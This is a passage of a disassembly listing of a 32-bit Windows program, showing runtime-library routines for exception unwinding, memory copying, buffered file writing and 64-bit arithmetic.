pop ebp retn sub_41D45E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D4D3 proc near ; CODE XREF: sub_422651+C6p ; sub_4227F8+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D52A loc_41D4F1: ; CODE XREF: sub_41D4D3+52j cmp esi, 0FFFFFFFFh jnz short loc_41D4FB call sub_422E52 loc_41D4FB: ; CODE XREF: sub_41D4D3+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D510 cmp ecx, [eax+8] jle short loc_41D515 loc_41D510: ; CODE XREF: sub_41D4D3+36j cmp esi, 0FFFFFFFFh jnz short loc_41D521 loc_41D515: ; CODE XREF: sub_41D4D3+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D521: ; CODE XREF: sub_41D4D3+40j cmp [ebp+arg_4], 0 jge short loc_41D4F1 mov eax, [ebp+var_4] loc_41D52A: ; CODE XREF: sub_41D4D3+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D53E cmp esi, eax jbe short loc_41D543 loc_41D53E: ; CODE XREF: sub_41D4D3+65j call sub_422E52 loc_41D543: ; CODE XREF: sub_41D4D3+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D4D3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D550 proc near ; CODE XREF: sub_423CC0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41D568 push [ebp+arg_0] call sub_426356 sub_41D550 endp ; =============== S U B R O U T I N E ======================================= sub_41D568 proc near ; DATA XREF: sub_41D550+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D568 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D570 proc near ; DATA XREF: sub_41D592+Ao ; sub_41D5FA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D591 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D591: ; CODE XREF: sub_41D570+10j retn sub_41D570 endp ; =============== S U B R O U T I N E ======================================= sub_41D592 proc near ; CODE XREF: sub_422AD2+Dp ; sub_423CC0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D570 push large dword ptr fs:0 mov large fs:0, esp loc_41D5AF: ; CODE XREF: sub_41D592:loc_41D5EAj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D5EC cmp esi, [esp+1Ch+arg_4] jz short loc_41D5EC lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D5EA push 101h mov eax, [ebx+esi*4+8] call sub_41D626 call dword ptr [ebx+esi*4+8] loc_41D5EA: ; CODE XREF: sub_41D592+44j jmp short loc_41D5AF ; --------------------------------------------------------------------------- loc_41D5EC: ; CODE XREF: sub_41D592+2Aj ; sub_41D592+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D592 endp ; =============== S U B R O U T I N E ======================================= sub_41D5FA proc near ; CODE XREF: sub_422AF2+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D570 jnz short locret_41D61C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D61C mov eax, 1 locret_41D61C: ; CODE XREF: sub_41D5FA+10j ; sub_41D5FA+1Bj retn sub_41D5FA endp ; =============== S U B R O U T I N E ======================================= sub_41D61D proc near ; CODE XREF: sub_422DB0+1Ep ; sub_422DB0+40p push ebx push ecx mov ebx, offset dword_43AE2C jmp short loc_41D630 sub_41D61D endp ; =============== S U B R O U T I N E ======================================= sub_41D626 proc near ; CODE XREF: sub_41D592+4Fp ; sub_423CC0+78p push ebx push ecx mov ebx, offset dword_43AE2C mov ecx, [ebp+8] loc_41D630: ; CODE XREF: sub_41D61D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D626 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D640 proc near ; CODE XREF: sub_40D340+5p ; sub_40D4E2+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D640 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D65F proc near ; CODE XREF: sub_40D977+26p ; ___:004260F2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41BA91 pop ecx retn sub_41D65F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D670 proc near ; CODE XREF: sub_40D9E8+3Ap ; sub_41E742+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41D690 cmp edi, eax jb loc_41D808 loc_41D690: ; CODE XREF: sub_41D670+16j test edi, 3 jnz short loc_41D6AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- loc_41D6AC: ; CODE XREF: sub_41D670+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41D6C4 and eax, 3 add ecx, eax jmp dword ptr loc_41D6CC+4[eax*4] ; --------------------------------------------------------------------------- loc_41D6C4: ; CODE XREF: sub_41D670+46j jmp dword ptr loc_41D7C8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D6CC: ; CODE XREF: sub_41D670+31j ; sub_41D670+8Ej ... jmp off_41D74C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D6E0 dd offset loc_41D70C dd offset loc_41D730 ; --------------------------------------------------------------------------- loc_41D6E0: ; DATA XREF: sub_41D670+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41D70C: ; DATA XREF: sub_41D670+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D730: ; DATA XREF: sub_41D670+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41D6CC rep movsd jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D74C dd offset loc_41D7AF ; DATA XREF: sub_41D670:loc_41D6CCr dd offset loc_41D79C dd offset loc_41D794 dd offset loc_41D78C dd offset loc_41D784 dd offset loc_41D77C dd offset loc_41D774 dd offset loc_41D76C ; --------------------------------------------------------------------------- loc_41D76C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41D774: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41D77C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41D784: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41D78C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41D794: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41D79C: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D7AF: ; CODE XREF: sub_41D670:loc_41D6CCj ; DATA XREF: sub_41D670:off_41D74Co jmp off_41D7B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41D7B8 dd offset loc_41D7C8 ; DATA XREF: sub_41D670+35r ; sub_41D670+92r ... dd offset loc_41D7D0 dd offset loc_41D7DC dd offset loc_41D7F0 ; --------------------------------------------------------------------------- loc_41D7C8: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7D0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D7DC: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41D7F0: ; CODE XREF: sub_41D670+35j ; sub_41D670+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D808: ; CODE XREF: sub_41D670+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41D83C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41D830: ; CODE XREF: sub_41D670+1B1j ; sub_41D670+208j ... neg ecx jmp off_41D900[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41D83C: ; CODE XREF: sub_41D670+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41D854 and eax, 3 sub ecx, eax jmp dword ptr loc_41D854+4[eax*4] ; --------------------------------------------------------------------------- loc_41D854: ; CODE XREF: sub_41D670+1D6j ; DATA XREF: sub_41D670+1DDr jmp off_41D950[ecx*4] ; --------------------------------------------------------------------------- align 4 push 880041D8h fadd dword ptr [ecx+0] mov al, 0D8h inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41D830 std rep movsd cld jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41D904 dd offset loc_41D90C dd offset loc_41D914 dd offset loc_41D91C dd offset loc_41D924 dd offset loc_41D92C dd offset loc_41D934 off_41D900 dd offset loc_41D947 ; DATA XREF: sub_41D670+1C2r ; --------------------------------------------------------------------------- loc_41D904: ; DATA XREF: sub_41D670+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41D90C: ; DATA XREF: sub_41D670+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41D914: ; DATA XREF: sub_41D670+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41D91C: ; DATA XREF: sub_41D670+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41D924: ; DATA XREF: sub_41D670+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41D92C: ; DATA XREF: sub_41D670+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41D934: ; DATA XREF: sub_41D670+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41D947: ; CODE XREF: sub_41D670+1C2j ; DATA XREF: sub_41D670:off_41D900o jmp off_41D950[edx*4] ; --------------------------------------------------------------------------- align 10h off_41D950 dd offset loc_41D960 ; DATA XREF: sub_41D670+1B7r ; sub_41D670:loc_41D854r ... dd offset loc_41D968 dd offset loc_41D978 dd offset loc_41D98C ; --------------------------------------------------------------------------- loc_41D960: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D968: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D978: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41D98C: ; CODE XREF: sub_41D670+1B7j ; sub_41D670:loc_41D854j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41D670 endp ; =============== S U B R O U T I N E ======================================= sub_41D9A5 proc near ; CODE XREF: sub_40DA4F+34p ; sub_40DA4F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41D9A5 endp ; =============== S U B R O U T I N E ======================================= sub_41D9B3 proc near ; CODE XREF: sub_41DA20+4p arg_0 = dword ptr 4 push esi push dword_4DD39C call sub_422EA8 mov edx, dword_4DD39C pop ecx mov ecx, dword_4DD398 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_41DA12 push edx call sub_422EA8 add eax, 10h push eax push dword_4DD39C call sub_41BBE2 add esp, 0Ch test eax, eax jnz short loc_41D9F5 retn ; --------------------------------------------------------------------------- loc_41D9F5: ; CODE XREF: sub_41D9B3+3Fj mov ecx, dword_4DD398 sub ecx, dword_4DD39C mov dword_4DD39C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_4DD398, ecx loc_41DA12: ; CODE XREF: sub_41D9B3+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_4DD398, 4 retn sub_41D9B3 endp ; =============== S U B R O U T I N E ======================================= sub_41DA20 proc near ; CODE XREF: sub_40DB3C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_41D9B3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_41DA20 endp ; =============== S U B R O U T I N E ======================================= sub_41DA32 proc near ; DATA XREF: ___:00429018o push 80h call sub_41BEB5 test eax, eax pop ecx mov dword_4DD39C, eax jnz short loc_41DA53 push 18h call sub_41E2C9 mov eax, dword_4DD39C pop ecx loc_41DA53: ; CODE XREF: sub_41DA32+12j and dword ptr [eax], 0 mov eax, dword_4DD39C mov dword_4DD398, eax retn sub_41DA32 endp ; =============== S U B R O U T I N E ======================================= sub_41DA61 proc near ; CODE XREF: sub_40DB5E+7Ap ; sub_40DB5E+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_41DA75 loc_41DA6D: ; CODE XREF: sub_41DA61+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_41DA6D loc_41DA75: ; CODE XREF: sub_41DA61+Aj mov edx, [esp+arg_4] push esi loc_41DA7A: ; CODE XREF: sub_41DA61+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_41DA7A pop esi retn sub_41DA61 endp ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_41DB07 mov edi, [esp+14h] test edi, edi jz short loc_41DAAA cmp edi, 1 jz short loc_41DAAA cmp edi, 2 jnz short loc_41DB07 loc_41DAAA: ; CODE XREF: ___:0041DA9Ej ; ___:0041DAA3j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_41DAC1 push esi call sub_422FA3 add [esp+14h], eax pop ecx xor edi, edi loc_41DAC1: ; CODE XREF: ___:0041DAB2j push esi call sub_41E42B mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_41DAD6 and al, 0FCh mov [esi+0Ch], eax jmp short loc_41DAEA ; --------------------------------------------------------------------------- loc_41DAD6: ; CODE XREF: ___:0041DACDj test al, 1 jz short loc_41DAEA test al, 8 jz short loc_41DAEA test ah, 4 jnz short loc_41DAEA mov dword ptr [esi+18h], 200h loc_41DAEA: ; CODE XREF: ___:0041DAD4j ; ___:0041DAD8j ... push edi push dword ptr [esp+14h] push dword ptr [esi+10h] call sub_422F09 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_41DB14 ; --------------------------------------------------------------------------- loc_41DB07: ; CODE XREF: ___:0041DA96j ; ___:0041DAA8j mov dword_4DBDDC, 16h or eax, 0FFFFFFFFh loc_41DB14: ; CODE XREF: ___:0041DB05j pop edi pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DB20 proc near ; CODE XREF: sub_413694+19Ep ; sub_4143F7+11Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_41DB39 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41DB39: ; CODE XREF: sub_41DB20+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_41DB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB54 proc near ; CODE XREF: ___:0041668Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov eax, [ebp+arg_0] mov [ebp+var_4], edi test edi, edi mov [ebp+arg_0], eax mov ebx, edi jnz short loc_41DB78 xor eax, eax jmp loc_41DC45 ; --------------------------------------------------------------------------- loc_41DB78: ; CODE XREF: sub_41DB54+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41DB8B mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41DB92 ; --------------------------------------------------------------------------- loc_41DB8B: ; CODE XREF: sub_41DB54+2Dj mov [ebp+arg_C], 1000h loc_41DB92: ; CODE XREF: sub_41DB54+35j ; sub_41DB54+E8j mov ecx, [esi+0Ch] and ecx, 108h jz short loc_41DBC6 mov eax, [esi+4] test eax, eax jz short loc_41DBC6 cmp ebx, eax mov edi, ebx jb short loc_41DBAC mov edi, eax loc_41DBAC: ; CODE XREF: sub_41DB54+54j push edi push [ebp+arg_0] push dword ptr [esi] call sub_41CD20 sub [esi+4], edi add [esi], edi add esp, 0Ch sub ebx, edi add [ebp+arg_0], edi jmp short loc_41DC0C ; --------------------------------------------------------------------------- loc_41DBC6: ; CODE XREF: sub_41DB54+47j ; sub_41DB54+4Ej cmp ebx, [ebp+arg_C] jb short loc_41DC11 test ecx, ecx jz short loc_41DBDA push esi call sub_41E42B test eax, eax pop ecx jnz short loc_41DC53 loc_41DBDA: ; CODE XREF: sub_41DB54+79j cmp [ebp+arg_C], 0 jz short loc_41DBED mov eax, ebx xor edx, edx div [ebp+arg_C] mov edi, ebx sub edi, edx jmp short loc_41DBEF ; --------------------------------------------------------------------------- loc_41DBED: ; CODE XREF: sub_41DB54+8Aj mov edi, ebx loc_41DBEF: ; CODE XREF: sub_41DB54+97j push edi push [ebp+arg_0] push dword ptr [esi+10h] call sub_4230FB add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41DC4A add [ebp+arg_0], eax sub ebx, eax cmp eax, edi jb short loc_41DC4A loc_41DC0C: ; CODE XREF: sub_41DB54+70j mov edi, [ebp+var_4] jmp short loc_41DC3A ; --------------------------------------------------------------------------- loc_41DC11: ; CODE XREF: sub_41DB54+75j mov eax, [ebp+arg_0] push esi movsx eax, byte ptr [eax] push eax call sub_41FE2A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC53 inc [ebp+arg_0] mov eax, [esi+18h] dec ebx mov [ebp+arg_C], eax test eax, eax jg short loc_41DC3A mov [ebp+arg_C], 1 loc_41DC3A: ; CODE XREF: sub_41DB54+BBj ; sub_41DB54+DDj test ebx, ebx jnz loc_41DB92 mov eax, [ebp+arg_8] loc_41DC45: ; CODE XREF: sub_41DB54+1Fj ; sub_41DB54+108j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41DC4A: ; CODE XREF: sub_41DB54+ADj ; sub_41DB54+B6j or dword ptr [esi+0Ch], 20h mov eax, [ebp+var_4] jmp short loc_41DC55 ; --------------------------------------------------------------------------- loc_41DC53: ; CODE XREF: sub_41DB54+84j ; sub_41DB54+CFj mov eax, edi loc_41DC55: ; CODE XREF: sub_41DB54+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_41DC45 sub_41DB54 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5E proc near ; CODE XREF: sub_416CAF+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 2690DA0h cmp eax, 0FFFFFFFFh jnz short loc_41DC7E nop call near ptr 26908B8h push eax call sub_420C7F pop ecx loc_41DC7A: ; CODE XREF: sub_41DC5E+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41DC7E: ; CODE XREF: sub_41DC5E+Dj test al, 1 jz short loc_41DC9F test [esp+arg_4], 2 jz short loc_41DC9F mov dword_4DBDDC, 0Dh mov dword_4DBDE0, 5 jmp short loc_41DC7A ; --------------------------------------------------------------------------- loc_41DC9F: ; CODE XREF: sub_41DC5E+22j ; sub_41DC5E+29j xor eax, eax retn sub_41DC5E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DCB0 proc near ; CODE XREF: sub_416CC9+3Fp ; sub_41AED9+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_41DCD2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_41DD13 ; --------------------------------------------------------------------------- loc_41DCD2: ; CODE XREF: sub_41DCB0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_41DCE0: ; CODE XREF: sub_41DCB0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DCE0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_41DD0E cmp edx, [esp+8+arg_4] ja short loc_41DD0E jb short loc_41DD0F cmp eax, [esp+8+arg_0] jbe short loc_41DD0F loc_41DD0E: ; CODE XREF: sub_41DCB0+4Ej ; sub_41DCB0+54j dec esi loc_41DD0F: ; CODE XREF: sub_41DCB0+56j ; sub_41DCB0+5Cj xor edx, edx mov eax, esi loc_41DD13: ; CODE XREF: sub_41DCB0+20j pop esi pop ebx retn 10h sub_41DCB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DD20 proc near ; CODE XREF: sub_416CC9+2Dp ; sub_41AED9+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_41DD41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_41DD91 ; --------------------------------------------------------------------------- loc_41DD41: ; CODE XREF: sub_41DD20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41DD4F: ; CODE XREF: sub_41DD20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41DD4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41DD7A cmp edx, [esp+4+arg_4] ja short loc_41DD7A jb short loc_41DD82 cmp eax, [esp+4+arg_0] jbe short loc_41DD82 loc_41DD7A: ; CODE XREF: sub_41DD20+4Aj ; sub_41DD20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_41DD82: ; CODE XREF: sub_41DD20+52j ; sub_41DD20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_41DD91: ; CODE XREF: sub_41DD20+1Fj pop ebx retn 10h sub_41DD20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41DDA0 proc near ; CODE XREF: sub_416DD9+5Fp ; sub_416DD9+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_41DDC1 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_41DDC1: ; CODE XREF: sub_41DDA0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41DDDD inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41DDDD: ; CODE XREF: sub_41DDA0+27j or eax, eax jnz short loc_41DDF9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_41DE3A ; --------------------------------------------------------------------------- loc_41DDF9: ; CODE XREF: sub_41DDA0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_41DE07: ; CODE XREF: sub_41DDA0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_41DE07 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_41DE35 cmp edx, [esp+0Ch+arg_4] ja short loc_41DE35 jb short loc_41DE36 cmp eax, [esp+0Ch+arg_0] jbe short loc_41DE36 loc_41DE35: ; CODE XREF: sub_41DDA0+85j ; sub_41DDA0+8Bj dec esi loc_41DE36: ; CODE XREF: sub_41DDA0+8Dj ; sub_41DDA0+93j xor edx, edx mov eax, esi loc_41DE3A: ; CODE XREF: sub_41DDA0+57j dec edi jnz short loc_41DE44 neg edx neg eax sbb edx, 0 loc_41DE44: ; CODE XREF: sub_41DDA0+9Bj pop ebx pop esi pop edi retn 10h sub_41DDA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DE4A proc near ; CODE XREF: sub_417493+BFp ; sub_417493+12Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, dword_4DBE84 push ebx xor ebx, ebx cmp eax, ebx mov [ebp+var_4], ebx jnz short 